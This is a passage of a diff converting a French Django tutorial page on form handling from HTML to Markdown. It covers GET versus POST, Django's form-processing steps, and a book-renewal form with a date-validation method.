souhaitez pouvoir partager l'URL ou la conserver dans vos favoris. T -<p>Le formulaire est défini en HTML comme une collection d'éléments enfermés entre deux balises <form> ... </form> contenant au moins une balise <input> dont la valeur d'attribut 'type' doit valoir "submit":</p> +Le rôle du serveur est d'abord de fournir le formulaire sous sa forme initiale — c'est à dire une série de champs soit vides, soit préremplis avec des valeurs initiales. Après l'impulsion de l'utilisateur sur le bouton submit, le seurveur va recevoir les données du formulaire avec les valeurs saisies dans le navigateur, et va devoir vérifier ces données. Si le formulaire contient des données invalides, le seurveur devrait afficher le formulaire de nouveau, cette fois ci avec les données utilisateur entrées dans les champs "valides" et des messages pour décrire le problème pour les champs invalides. Dès que le serveur reçoit une requête dont tous les données de champs sont valides, il peut effectuer les actions appropriées ( c'est à dire sauver les données, renvoyer le résultat d'une recherche, téléverser un fichier, etc...) et ensuite notifier l'utilisateur . -<pre class="brush: html"><form action="/team_name_url/" method="post"> - <label for="team_name">Enter name: </label> - <input id="team_name" type="text" name="name_field" value="Default name for team."> - <input type="submit" value="OK"> -</form> -</pre> +Comme vous pouvez l'imaginer, créer le code HTML, vérifier les données envoyées, réafficher les données entrées avec l'adjonction de rapports sur les erreurs, effectuer les opérations désirées sur les données valides peut représenter pas mal d'efforts de réflexion et d'essais erreur. Django rend cela bien plus facile, en enlevant la nécessité de concevoir une partie de ce code pénible et répétitif! -<p>Bien qu'ici nous n'ayons qu'un champ de saisie texte destiné à recevoir le nom d'équipe, une formulaire <em>pourrait</em> avoir un nombre quelconque d'autres champs de saisie et leurs étiquettes de description associées. La valeur de l'attribut 'type' définit la sorte de composant élementaire d'interface graphique affichée. Les attributs 'id' et 'name' permettent d'identifier le champ en JavaScript/CSS/HTML alors que l'attribut 'value' définit la valeur initiale du champ lorsqu'il est affiché pour la première fois. La description associée est déclarée par la balise <label> (voir "Enter Name" au dessus) , avec un attribut 'for' devant contenir la valeur de l'attribut 'id' du champ imput à laquelle on souhaite l'associer. </p> +## Les étapes de gestion d'un formulaire avec Django -<p>La balise <code><input></code> dont l'attribut <code>'type'</code> vaut <code>submit</code> sera affichée (par défaut) comme un bouton qui peut être cliqué par l'utilisateur pour envoyer vers le serveur les données figurant dans tous les autres éléments de formulaire <input> (dans le cas présent, la valeur actuelle de <code>'team name'</code>. Les attributs de formulaire déterminent d'une part la méthode HTTP (attribut method) utilisée pour envoyer les donnnées et d'autre part la destination des données sur le serveur (attribut <code>action </code>):</p> +Django gère un formulaire en utilisant les mêmes techniques qu'évoquées lors des formations précédentes (pour afficher des informations à propos de nos modèles): La vue reçoit une requête, exécute toute acion nécessaire, incluant la lecture de données depuis les modèles, puis génère une page HTML (à partir d'un squelette à qui nous transmettons un _contexte_ contenant les données à afficher\* \*). Ce qui rend les choses plus compliquées, c'est que le serveur a aussi besoin d'être capable de traiter les données fournies par l'utilisateur (pas seulement le contexte) et doit pouvoir réafficher les pages s'il y a une quelconque erreur. -<ul> - <li><code>action</code> : Il s'agit de la destination (ressource ou URL) où sont envoyées les données lorsque le formulaire est soumis. Si la valeur de cet attribut n'est pas initialisée (ou la chaine vide est affectée à cet attribut), alors le formulaire sera renvoyé à l' URL de la page courante.</li> - <li><code>method</code> : La méthode HTTP utilisée pour envoyer les données: <em>post</em> ou <em>get</em>. - <ul> - <li>La méthode <code>POST</code> devrait toujours être utilisée si l'envoi de la donnée va provoquer un changement dan la base de données du serveur, car il peut être rendu plus résistant aux attaques par falsification de requête inter-site (CSRF). </li> - <li>La méthode GET ne devrait être utilisée que pour les formulaires ne changeant pas les données utilisateur (p.ex. un formulaire de recherche) . Elle est recommandée lorsque vous souhaitez pouvoir partager l'URL ou la conserver dans vos favoris. T</li> - </ul> - </li> -</ul> +Voici ci-dessous un diagramme représentant les étapes de gestion d'un formulaire de requêtes, commencant par la demande par le navigateur d'une page, dont le code HTML se trouve contenir un formulaire (en vert). -<p>Le rôle du serveur est d'abord de fournir le formulaire sous sa forme initiale — c'est à dire une série de champs soit vides, soit préremplis avec des valeurs initiales. Après l'impulsion de l'utilisateur sur le bouton submit, le seurveur va recevoir les données du formulaire avec les valeurs saisies dans le navigateur, et va devoir vérifier ces données. Si le formulaire contient des données invalides, le seurveur devrait afficher le formulaire de nouveau, cette fois ci avec les données utilisateur entrées dans les champs "valides" et des messages pour décrire le problème pour les champs invalides. Dès que le serveur reçoit une requête dont tous les données de champs sont valides, il peut effectuer les actions appropriées ( c'est à dire sauver les données, renvoyer le résultat d'une recherche, téléverser un fichier, etc...) et ensuite notifier l'utilisateur . </p> + -<p>Comme vous pouvez l'imaginer, créer le code HTML, vérifier les données envoyées, réafficher les données entrées avec l'adjonction de rapports sur les erreurs, effectuer les opérations désirées sur les données valides peut représenter pas mal d'efforts de réflexion et d'essais erreur. Django rend cela bien plus facile, en enlevant la nécessité de concevoir une partie de ce code pénible et répétitif!</p> +En se basant sur la lecture du diagramme ci-dessus, les tâches principales dont s'aquitte Django à l'occasion de la gestion d'un formulaire sont : -<h2 id="Les_étapes_de_gestion_dun_formulaire_avec_Django">Les étapes de gestion d'un formulaire avec Django</h2> +1. Afficher le formulaire sous sa forme par défaut la première fois où il est demandé par l'utilisateur. -<p>Django gère un formulaire en utilisant les mêmes techniques qu'évoquées lors des formations précédentes (pour afficher des informations à propos de nos modèles): La vue reçoit une requête, exécute toute acion nécessaire, incluant la lecture de données depuis les modèles, puis génère une page HTML (à partir d'un squelette à qui nous transmettons un <em>contexte </em>contenant les données à afficher<em> </em>). Ce qui rend les choses plus compliquées, c'est que le serveur a aussi besoin d'être capable de traiter les données fournies par l'utilisateur (pas seulement le contexte) et doit pouvoir réafficher les pages s'il y a une quelconque erreur.</p> + - Le formulaire peut contenir des champs vides (par exemple si vous créez un nouvel enregistrement ) ou peut être prérempli de valeurs initiales (par exemple si vous modifiez les valeurs d'un enregistrement existant, ou que ces champs ont des valeurs initiales utiles ). + - Le formulaire est qualifié à cette étape de formulaire libre, parce qu'il n'est associé à aucune donnée entré par l'utilisateur (bien qu'il puisse avoir des valeurs initiales) . -<p>Voici ci-dessous un diagramme représentant les étapes de gestion d'un formulaire de requêtes, commencant par la demande par le navigateur d'une page, dont le code HTML se trouve contenir un formulaire (en vert).</p> +2. Recevoir des données d'une requete d'envoi de données et les lier au formulaire. -<p><img alt="Updated form handling process doc." src="Form%20Handling%20-%20Standard.png"></p> + - Lier les données au formulaire signifie que les données entrées par l'utilisateur, ainsi que les erreurs éventuelles sont accessibles lorsque nous avons besoin de réafficher le formulaire. -<p>En se basant sur la lecture du diagramme ci-dessus, les tâches principales dont s'aquitte Django à l'occasion de la gestion d'un formulaire sont : </p> +3. Nettoyer et valider les données -<ol> - <li>Afficher le formulaire sous sa forme par défaut la première fois où il est demandé par l'utilisateur. - <ul> - <li>Le formulaire peut contenir des champs vides (par exemple si vous créez un nouvel enregistrement ) ou peut être prérempli de valeurs initiales (par exemple si vous modifiez les valeurs d'un enregistrement existant, ou que ces champs ont des valeurs initiales utiles ).</li> - <li>Le formulaire est qualifié à cette étape de formulaire libre, parce qu'il n'est associé à aucune donnée entré par l'utilisateur (bien qu'il puisse avoir des valeurs initiales) . </li> - </ul> - </li> - <li>Recevoir des données d'une requete d'envoi de données et les lier au formulaire. - <ul> - <li>Lier les données au formulaire signifie que les données entrées par l'utilisateur, ainsi que les erreurs éventuelles sont accessibles lorsque nous avons besoin de réafficher le formulaire. </li> - </ul> - </li> - <li>Nettoyer et valider les données - <ul> - <li>Le nettoyage de données consiste à désinfecter la saisie (par exemple en supprimant les caractères non valides, et qui pourraient être utilisés pour envoyer du contenu malveillant au serveur.) et à convertir ces données en types Python cohérents. </li> - <li>La validation vérifie que les valeurs envoyées sont appropriées au champ (par exemple dans le bon intervalle de dates, ni trop long ni trop court, etc.) </li> - </ul> - </li> - <li>Si une donnée n'est pas valide, ré-affiche le formulaire, cette fois-ci avec les données déjà saisies par l'utilisateur et les messages d'erreur pour les champs en erreur.</li> - <li>Si toutes les données sont conformes, effectue les actions demandées (e.g. sauvegarde les données, envoyer un mail, renvoie le résultat d'une recherche, télécharge un fichier etc.)</li> - <li>Une fois toutes ces actions accomplies, redirige l'utilisateur vers une autre page.</li> -</ol> + - Le nettoyage de données consiste à désinfecter la saisie (par exemple en supprimant les caractères non valides, et qui pourraient être utilisés pour envoyer du contenu malveillant au serveur.) et à convertir ces données en types Python cohérents. + - La validation vérifie que les valeurs envoyées sont appropriées au champ (par exemple dans le bon intervalle de dates, ni trop long ni trop court, etc.) -<p>Django fournit une multitude d'outils et de méthodes pour vous assister dans les tâches mentionnées ci-dessus. Parmi eux la plus importante, la classe <code>Form</code>, qui simplifie à la fois la production de formulaire HTML mais aussi la validation de donnée. In the next section we describe how forms work using the practical example of a page to allow librarians to renew books.</p> +4. Si une donnée n'est pas valide, ré-affiche le formulaire, cette fois-ci avec les données déjà saisies par l'utilisateur et les messages d'erreur pour les champs en erreur. +5. Si toutes les données sont conformes, effectue les actions demandées (e.g. sauvegarde les données, envoyer un mail, renvoie le résultat d'une recherche, télécharge un fichier etc.) +6. Une fois toutes ces actions accomplies, redirige l'utilisateur vers une autre page. -<div class="note"> -<p><strong>Note :</strong> Comprendre l'utilisation de <code>Form</code> vous aidera quand nous parlerons des classes de formulaires de Django plus complexes. </p> -</div> +Django fournit une multitude d'outils et de méthodes pour vous assister dans les tâches mentionnées ci-dessus. Parmi eux la plus importante, la classe `Form`, qui simplifie à la fois la production de formulaire HTML mais aussi la validation de donnée. In the next section we describe how forms work using the practical example of a page to allow librarians to renew books. -<h2 id="Formulaire_de_renouvellement_de_livre_par_lutilisation_de_vue_Form">Formulaire de renouvellement de livre par l'utilisation de vue Form</h2> +> **Note :** Comprendre l'utilisation de `Form` vous aidera quand nous parlerons des classes de formulaires de Django plus complexes. -<p>Nous allons maintenant créer une page qui permettra aux bibliothécaires de renouveler les livres empruntés (les rendre disponible à nouveau). Pour cela nous allons créer un formulaire qui permet aux utilisateurs de saisir une valeur de type Date. Considérons le champ avec une valeur initiale égale à la date du jour plus 3 semaines (la période normale d'emprunt d'un livre), et ajouter une validation pour s'assurer que le bibliothécaire ne peut pas saisir une date dans le passé ou une date trop éloignée dans le futur. Quand une date valide a été entrée, nous l'enregistrons dans le champ <code>BookInstance.due_back</code> de l'enregistrement courant.</p> +## Formulaire de renouvellement de livre par l'utilisation de vue Form -<p>L'exemple va utiliser une vue basée sur une fonction et une classe <code>Form</code>. Les sections suivantes expliquent comment les formulaires fonctionnent, et les changements que vous devez faire à notre projet en cours <em>LocalLibrary</em>.</p> +Nous allons maintenant créer une page qui permettra aux bibliothécaires de renouveler les livres empruntés (les rendre disponible à nouveau). Pour cela nous allons créer un formulaire qui permet aux utilisateurs de saisir une valeur de type Date. Considérons le champ avec une valeur initiale égale à la date du jour plus 3 semaines (la période normale d'emprunt d'un livre), et ajouter une validation pour s'assurer que le bibliothécaire ne peut pas saisir une date dans le passé ou une date trop éloignée dans le futur. Quand une date valide a été entrée, nous l'enregistrons dans le champ `BookInstance.due_back` de l'enregistrement courant. -<h3 id="Formulaire">Formulaire</h3> +L'exemple va utiliser une vue basée sur une fonction et une classe `Form`. Les sections suivantes expliquent comment les formulaires fonctionnent, et les changements que vous devez faire à notre projet en cours _LocalLibrary_. -<p>La classe <code>Form</code> est le cœur du système de gestion des formulaires de Django. Elle spécifie les champs présents dans le formulaire, affiche les widgets, les labels, les valeurs initiales, les valeurs valides et (après validation) les messages d'erreur associés aux champs invalides. Cette classe fournit également des méthodes pour se restituer elle-même dans les templates en utilisant des formats prédéfinis (tables, listes etc.) ou pour obtenir la valeur de chaque élément de formulaire (permettant un rendu manuel fin).</p> +### Formulaire -<h4 id="Déclarer_un_formulaire">Déclarer un formulaire</h4> +La classe `Form` est le cœur du système de gestion des formulaires de Django. Elle spécifie les champs présents dans le formulaire, affiche les widgets, les labels, les valeurs initiales, les valeurs valides et (après validation) les messages d'erreur associés aux champs invalides. Cette classe fournit également des méthodes pour se restituer elle-même dans les templates en utilisant des formats prédéfinis (tables, listes etc.) ou pour obtenir la valeur de chaque élément de formulaire (permettant un rendu manuel fin). -<p>La syntaxe de déclaration pour un <code>Form</code> est très semblable à celle utilisée pour déclarer un <code>Model</code>, et partage les mêmes types de champs (et des paramètres similaires). Cela est logique, puisque dans les deux cas nous avons besoin de nous assurer que chaque champ gère le bon type de donnée, est contraint lors de la validation des données, et a une description pour l'affichage/la documentation.</p> +#### Déclarer un formulaire -<p>Les données de formulaire sont stockées dans un fichier application forms.py, à l'intérieur du répertoire de l'application. Créez et ouvrez le fichier <strong>locallibrary/catalog/forms.py</strong>. Pour créer un <code>Form</code>, nous importons la bibliothèque <code>forms</code>, dérivons une classe de la classe <code>Form</code>, et déclarons les champs du formulaire. Une classe très basique de formulaire pour notre formulaire de renouvellement de livre dans notre bibliothèque est montrée ci-dessous :</p> +La syntaxe de déclaration pour un `Form` est très semblable à celle utilisée pour déclarer un `Model`, et partage les mêmes types de champs (et des paramètres similaires). Cela est logique, puisque dans les deux cas nous avons besoin de nous assurer que chaque champ gère le bon type de donnée, est contraint lors de la validation des données, et a une description pour l'affichage/la documentation. -<pre class="brush: python">from django import forms +Les données de formulaire sont stockées dans un fichier application forms.py, à l'intérieur du répertoire de l'application. Créez et ouvrez le fichier **locallibrary/catalog/forms.py**. Pour créer un `Form`, nous importons la bibliothèque `forms`, dérivons une classe de la classe `Form`, et déclarons les champs du formulaire. Une classe très basique de formulaire pour notre formulaire de renouvellement de livre dans notre bibliothèque est montrée ci-dessous : + +```python +from django import forms class RenewBookForm(forms.Form): renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") -</pre> +``` -<h4 id="Champs_de_formulaire">Champs de formulaire</h4> +#### Champs de formulaire -<p>Dans ce cas, nous avons un unique champ <code><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield">DateField</a></code> pour entrer la date du renouvellement, qui sera rendue en HTML avec une valeur vide, le label par défaut "<em>Renewal date:</em>", et un texte utilitaire indiquant comment s'en servir : "<em>Enter a date between now and 4 weeks (default 3 weeks).</em>" Comme aucun des autres arguments optionnels ne sont spécifiés, le champ acceptera des dates en utilisant les <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats">input_formats</a> suivants : YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), et sera rendu en utilisant le <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a> par défaut : <a href="https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput">DateInput</a>.</p> +Dans ce cas, nous avons un unique champ [`DateField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield) pour entrer la date du renouvellement, qui sera rendue en HTML avec une valeur vide, le label par défaut "_Renewal date:_", et un texte utilitaire indiquant comment s'en servir : "_Enter a date between now and 4 weeks (default 3 weeks)._" Comme aucun des autres arguments optionnels ne sont spécifiés, le champ acceptera des dates en utilisant les [input_formats](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#django.forms.DateField.input_formats) suivants : YYYY-MM-DD (2016-11-06), MM/DD/YYYY (02/26/2016), MM/DD/YY (10/25/16), et sera rendu en utilisant le [widget](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget) par défaut : [DateInput](https://docs.djangoproject.com/en/1.10/ref/forms/widgets/#django.forms.DateInput). -<p>Il y a beaucoup d'autres types de champs, que vous reconnaîtrez sans peine en raison de leur ressemblance avec les classes de champs équivalentes pour les modèles : <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield"><code>BooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield"><code>CharField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield"><code>ChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield"><code>TypedChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield"><code>DateField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield"><code>DateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield"><code>DecimalField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield"><code>DurationField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield"><code>EmailField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield"><code>FileField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield"><code>FilePathField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield"><code>FloatField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield"><code>ImageField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield"><code>IntegerField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield"><code>GenericIPAddressField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield"><code>MultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield"><code>TypedMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield"><code>NullBooleanField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield"><code>RegexField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield"><code>SlugField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield"><code>TimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield"><code>URLField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield"><code>UUIDField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield"><code>ComboField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield"><code>MultiValueField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield"><code>SplitDateTimeField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield"><code>ModelMultipleChoiceField</code></a>, <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield"><code>ModelChoiceField</code></a>.</p> +Il y a beaucoup d'autres types de champs, que vous reconnaîtrez sans peine en raison de leur ressemblance avec les classes de champs équivalentes pour les modèles : [`BooleanField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#booleanfield), [`CharField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#charfield), [`ChoiceField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#choicefield), [`TypedChoiceField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedchoicefield), [`DateField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datefield), [`DateTimeField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#datetimefield), [`DecimalField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#decimalfield), [`DurationField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#durationfield), [`EmailField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#emailfield), [`FileField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filefield), [`FilePathField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#filepathfield), [`FloatField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#floatfield), [`ImageField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#imagefield), [`IntegerField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#integerfield), [`GenericIPAddressField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#genericipaddressfield), [`MultipleChoiceField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multiplechoicefield), [`TypedMultipleChoiceField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#typedmultiplechoicefield), [`NullBooleanField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#nullbooleanfield), [`RegexField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#regexfield), [`SlugField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#slugfield), [`TimeField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#timefield), [`URLField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#urlfield), [`UUIDField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#uuidfield), [`ComboField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#combofield), [`MultiValueField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#multivaluefield), [`SplitDateTimeField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#splitdatetimefield), [`ModelMultipleChoiceField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelmultiplechoicefield), [`ModelChoiceField`](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#modelchoicefield). -<p>Les arguments communs de la plupart des champs sont listés ci-dessous (ils ont les valeurs les plus communes par défaut) :</p> +Les arguments communs de la plupart des champs sont listés ci-dessous (ils ont les valeurs les plus communes par défaut) : -<ul> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required">required</a>: Si <code>True</code>, le champ ne peut être laissé vide ou recevoir une valeur <code>None</code>. Les champs sont requis par défaut, aussi devez-vous préciser <code>required=False</code> pour autoriser des valeurs vides dans le formulaire.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a>: Le label à utiliser au moment de rendre le champ en HTML. Si <a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label">label</a> n'est pas précisé, alors Django en créera un à partir du nom du champ concerné, en mettant en majuscule la première lettre et en remplaçant les tirets bas par des espaces (p. ex. <em>Renewal date</em>).</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix">label_suffix</a>: Par défaut, un double point est affiché après le label (p. ex. Renewal date<strong>:</strong>). Cet argument vous permet de préciser un suffixe différent contenant un ou plusieurs autres caractère(s).</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial">initial</a>: La valeur intiale pour le champ lorsque le formulaire est affiché.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget">widget</a>: Le widget d'affichage à utiliser.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text">help_text</a> (comme dans l'exemple ci-dessus): Un texte supplémentaire qui peut être affiché dans les formulaires pour expliquer comment utiliser le champ.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages">error_messages</a>: Une liste des messages d'erreur pour le champ. Vous pouvez remplacer les messages par défaut par vos propres messages si besoin.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators">validators</a>: Une liste de fonctions qui seront appelées quand le champ sera validé.</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize">localize</a>: Autorise la forme locale des données de formulaire (voyez le lien pour information).</li> - <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled">disabled</a>: Si <code>True</code>, le champ est affiché, mais sa valeur ne peut être modifiée. <code>False</code> par défaut.</li> -</ul> +- [required](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#required): Si `True`, le champ ne peut être laissé vide ou recevoir une valeur `None`. Les champs sont requis par défaut, aussi devez-vous préciser `required=False` pour autoriser des valeurs vides dans le formulaire. +- [label](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label): Le label à utiliser au moment de rendre le champ en HTML. Si [label](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label) n'est pas précisé, alors Django en créera un à partir du nom du champ concerné, en mettant en majuscule la première lettre et en remplaçant les tirets bas par des espaces (p. ex. _Renewal date_). +- [label_suffix](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#label-suffix): Par défaut, un double point est affiché après le label (p. ex. Renewal date**:**). Cet argument vous permet de préciser un suffixe différent contenant un ou plusieurs autres caractère(s). +- [initial](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#initial): La valeur intiale pour le champ lorsque le formulaire est affiché. +- [widget](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#widget): Le widget d'affichage à utiliser. +- [help_text](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#help-text) (comme dans l'exemple ci-dessus): Un texte supplémentaire qui peut être affiché dans les formulaires pour expliquer comment utiliser le champ. +- [error_messages](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#error-messages): Une liste des messages d'erreur pour le champ. Vous pouvez remplacer les messages par défaut par vos propres messages si besoin. +- [validators](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#validators): Une liste de fonctions qui seront appelées quand le champ sera validé. +- [localize](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#localize): Autorise la forme locale des données de formulaire (voyez le lien pour information). +- [disabled](https://docs.djangoproject.com/en/1.10/ref/forms/fields/#disabled): Si `True`, le champ est affiché, mais sa valeur ne peut être modifiée. `False` par défaut. -<h4 id="Validation">Validation</h4> +#### Validation -<p>Django fournit un grand nombre d'endroits pour valider vos données. La façon la plus simple de valider un champ unique est de remplacer la méthode <code>clean_<strong><fieldname></strong>()</code> pour le champ à vérifier. Ainsi, par exemple, nous pouvons vérifier que les valeurs entrées pour le champ <code>renewal_date</code> sont entre maintenant et dans 4 semaines, en implémentant la méthode <code>clean_<strong>renewal_date</strong>()</code> comme montré ci-après.</p> +Django fournit un grand nombre d'endroits pour valider vos données. La façon la plus simple de valider un champ unique est de remplacer la méthode `clean_<fieldname>()` pour le champ à vérifier. Ainsi, par exemple, nous pouvons vérifier que les valeurs entrées pour le champ `renewal_date` sont entre maintenant et dans 4 semaines, en implémentant la méthode `clean_renewal_date()` comme montré ci-après. -<p>Mettez à jour votre fichier forms.py, de telle sorte qu'il ressemble à cela :</p> +Mettez à jour votre fichier forms.py, de telle sorte qu'il ressemble à cela : -<pre class="brush: python">from django import forms +```python +from django import forms -<strong>from django.core.exceptions import ValidationError +from django.core.exceptions import ValidationError from django.utils.translation import ugettext_lazy as _ import datetime #for checking renewal date range. -</strong> + class RenewBookForm(forms.Form): renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") -<strong> def clean_renewal_date(self): + def clean_renewal_date(self): data = self.cleaned_data['renewal_date'] #Check date is not in past. - if data < datetime.date.today(): + if data < datetime.date.today(): raise ValidationError(_('Invalid date - renewal in past')) #Check date is in range librarian allowed to change (+4 weeks). - if data > datetime.date.today() + datetime.timedelta(weeks=4): + if data > datetime.date.today() + datetime.timedelta(weeks=4): raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) # Remember to always return the cleaned data. - return data</strong></pre> + return data +``` -<p>Il y a deux choses importantes à noter. La première est que nous accédons à nos données en utilisant <code>self.cleaned_data['renewal_date']</code>, et que nous retournons ces données, que nous les ayons changées ou non, à la fin de la fonction. Cette étape nous donne des données "nettoyées", purgées de valeurs potentiellement dangereuses en utilisant les validateurs par défaut, et converties en type standard correct pour les données considérées (dans ce cas un objet Python <code>datetime.datetime</code>).</p> +Il y a deux choses importantes à noter. La première est que nous accédons à nos données en utilisant `self.cleaned_data['renewal_date']`, et que nous retournons ces données, que nous les ayons changées ou non, à la fin de la fonction. Cette étape nous donne des données "nettoyées", purgées de valeurs potentiellement dangereuses en utilisant les validateurs par défaut, et converties en type standard correct pour les données considérées (dans ce cas un objet Python `datetime.datetime`). -<p>Le deuxième point est que, si une valeur tombe en dehors de l'intervalle que nous avons autorisé, nous levons une <code>ValidationError</code>, en spécifiant le texte d'erreur que nous voulons afficher dans la zone du formulaire prévue pour le cas où l'utilisateur entre une valeur incorrecte. L'exemple ci-dessus enveloppe aussi ce texte dans <code>ugettext_lazy()</code> (importée comme <code>_()</code>), une des <a class="external" href="https://docs.djangoproject.com/en/2.1/topics/i18n/translation/" rel="noopener">fonctions de traduction Django</a>, ce qui est une bonne pratique si vous voulez traduire votre site plus tard.</p> +Le deuxième point est que, si une valeur tombe en dehors de l'intervalle que nous avons autorisé, nous levons une `ValidationError`, en spécifiant le texte d'erreur que nous voulons afficher dans la zone du formulaire prévue pour le cas où l'utilisateur entre une valeur incorrecte. L'exemple ci-dessus enveloppe aussi ce texte dans `ugettext_lazy()` (importée comme `_()`), une des [fonctions de traduction Django](https://docs.djangoproject.com/en/2.1/topics/i18n/translation/), ce qui est une bonne pratique si vous voulez traduire votre site plus tard. -<div class="note"> -<p><strong>Note :</strong> Il y a un grand nombre d'autres méthodes et exemples au sujet de la validation des formulaires dans <a class="external" href="https://docs.djangoproject.com/en/2.1/ref/forms/validation/" rel="noopener">Form and field validation</a> (Django Docs). Par exemple, au cas où vous avez plusieurs champs dépendants les uns des autres, vous pouvez réécrire la fonction <a class="external" href="https://docs.djangoproject.com/en/2.1/ref/forms/api/#django.forms.Form.clean" rel="noopener">Form.clean()</a>, et lever de nouveau une <code>ValidationError</code>.</p> -</div> +> **Note :** Il y a un grand nombre d'autres méthodes et exemples au sujet de la validation des formulaires dans [Form and field validation](https://docs.djangoproject.com/en/2.1/ref/forms/validation/) (Django Docs). Par exemple, au cas où vous avez plusieurs champs dépendants les uns des autres, vous pouvez réécrire la fonction [Form.clean()](https://docs.djangoproject.com/en/2.1/ref/forms/api/#django.forms.Form.clean), et lever de nouveau une `ValidationError`. -<p>C'est tout ce dont nous avons besoin pour notre formulaire dans cet exemple.</p> +C'est tout ce dont nous avons besoin pour 